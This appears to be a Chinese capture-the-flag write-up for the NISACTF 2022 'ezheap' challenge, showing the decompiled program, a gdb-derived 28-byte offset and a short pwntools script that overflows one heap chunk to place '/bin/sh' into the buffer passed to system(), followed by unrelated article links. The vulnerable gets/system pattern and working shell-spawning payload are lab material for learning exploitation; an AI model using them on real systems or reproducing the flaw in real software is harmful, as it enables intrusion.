当前位置: 首页 > article >正文

NSSCTF [NISACTF 2022]ezheap

2058.[NISACTF 2022]ezheap(堆溢出)

[NISACTF 2022]ezheap

1.准备

2.ida分析
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{char *command; // [esp+8h] [ebp-10h]char *s; // [esp+Ch] [ebp-Ch]setbuf(stdin, 0);setbuf(stdout, 0);s = (char *)malloc(0x16u);command = (char *)malloc(0x16u);puts("Input:");gets(s);system(command);return 0;
}

这里先创建两个堆块s和command
然后在s有一个输入点,gets函数,存在堆溢出
并在下面有system函数,内容为command块的内容

3.EXP
思路:

这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容
所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接
通过gdb调试,得到偏移量
在main函数下断点,运行程序
 


一直运行到两个call malloc@plt后,查看堆情况
 


看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容

paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()
http://www.lryc.cn/news/2392962.html

相关文章:

  • ADB推送文件到指定路径解析
  • 【HarmonyOS Next之旅】DevEco Studio使用指南(二十七) -> 开发云函数
  • ansible中的inventory.ini 文件详解
  • 基于AOD-Net与GAN的深度学习去雾算法开发
  • Rust 学习笔记:闭包
  • c# 获取电脑 分辨率 及 DPI 设置
  • 基于频分复用导频的MMSE信道估计方法设计与仿真
  • 低代码开发模式下的应用交付效率优化:拖拽式交互机制研究
  • STP配置
  • Linux操作系统 使用共享内存实现进程通信和同步
  • 如何优化微信小程序中渲染带有图片的列表(二进制流存储方式的图片存在本地数据库)
  • 尝鲜纯血鸿蒙,华为国际版本暂时不支持升级。如mateX6 国际版?为什么不支持?什么时候支持?
  • 《 PyTorch 2.3革新:torch.compile自动生成CUDA优化内核全解》
  • OpenCV中的分水岭算法 (C/C++)
  • Kafka 客户端连接机制的一个典型陷阱
  • 相机--RGB相机
  • 足球数据全解析:实时数据到高阶数据
  • [科研实践] VS Code (Copilot) + Overleaf (使用 Overleaf Workshop 插件)
  • 人工智能100问☞第36问:什么是BERT?
  • 从0开始学习R语言--Day12--泊松分布
  • 工控机安装lubuntu系统
  • 视频监控汇聚平台EasyCVR安防小知识:如何通过视频融合平台解决信息孤岛问题?
  • 在大型中实施访问控制 语言模型
  • Haption在危险、挑战性或受限环境中操作的情况提供了一种创新的遥操作解决方案
  • html中使用nginx ssi插入html
  • 行为型:状态模式
  • 优雅草最新实战项目技术Discuz X3.5电子签约插件开发项目实施方案优雅草·卓伊凡
  • 人工智能在智能金融中的创新应用与未来趋势
  • LeetCode:贪心算法
  • 基于本地化大模型的智能编程助手全栈实践:从模型部署到IDE深度集成学习心得